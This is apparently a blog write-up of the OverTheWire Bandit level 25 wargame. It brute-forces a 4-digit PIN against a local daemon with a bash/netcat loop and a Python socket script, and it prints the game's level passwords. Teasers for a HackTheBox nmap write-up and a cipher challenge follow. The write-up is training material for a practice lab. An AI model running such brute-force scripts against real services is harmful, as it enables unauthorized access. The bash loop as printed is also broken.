Skip to main content

Over the Wire - Bandit 25

Bandit 25

Objectives

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.


Solution

a bit frustrated with this one

I spent way to long on this because my connect to the daemon would time out. I was only getting to around try 7000 and of course the correct port was beyond that

First I generate a pass list to throw at netcat

​I've started with just 8000 - 9999




#! /bin/bash
hash=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {8000..9999}doecho $hash $i > pass.txt
done
which generates a pass.txt file with lines like this in itUoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9978UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9979UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9980UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9981UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9982UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9983UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9984




Then I throw that at netcat with a grep filter to  filter out wrong as a response


$ cat pass.txt | netcat localhost 30002 | grep -vE 'Wrong'


I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.Correct!The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
Exiting.




now in python
I attacked this one a little different using a socket instead of netcat to pass the values to the daemon. That eliminated my need to create a txt of all possible combos. I instead wrote the response from the daemon to a file that I could grep... knowing the correct port I started the brute force at 8500

import os,socket
pass24 = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
counter = 8500
f= open("tries.txt","w+")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = 'localhost'
port = 30002
s.connect((host,port))
for x in range(500):
 stringy = str(counter)
 all = pass24 + ' ' + stringy + '\n'
 s.send(all)
 attempt = s.recv(1024).decode() + stringy + '    '
 counter = counter + 1
 f.write(attempt)



then a quick grep of the tries txt files give us the answer

bandit24@bandit:/tmp/asmithbandit25$ grep bandit tries.txtI am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG





Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar...

RingZero CTF - Cyrptography - You're Drunk

RingZero CTF - Cyptography - Your're Drunk Problem: Ayowe awxewr nwaalfw die tiy rgw fklf ua xgixiklrw! Tiy lew qwkxinw. Solution: So just looking at this one it looks like its formatted as a sentence. There is spacing between words, punctuation and capitalization. At fist I thought Cesar cipher, but I ran through some shifts and none of them came back with english words. So then I though substitution cipher. We know from frequency analysis of the English language some good starting points. The most common letter would be "E" The most common double letters would be "OO", "EE" and"SS"  so let start with that and see what we can come up with This site is a great resource for some of the assumptions I'm making here ( http://practicalcryptography.com/ciphers/monoalphabetic-substitution-category/simple-substitution/ ) I used this website to count the letter frequency for me ( https://www.dcode.fr/frequency-analysis ) ...

A collection of online Security CTF and Learning sites

 Hellbound Hackers    Embedded Security CTF Arizona Cyber Warfare Range Over The Wire - Bandit Pico CTF 2018 Hack The Box.eu Root Me: Challenges/Forensic RingZero CTF Vulnerable By Design - Vulnerable VMs Murder Mystery SQL Challenge Incident Response Challenge Authentication Lab Walkthroughs Defcon CTF Archives Matrix Holiday Hack Cyber Defenders | Blue Team and CTF Crypto Hack - learning Crypto Video Learning Zero to Hero Pentesting by The Cyber Mentor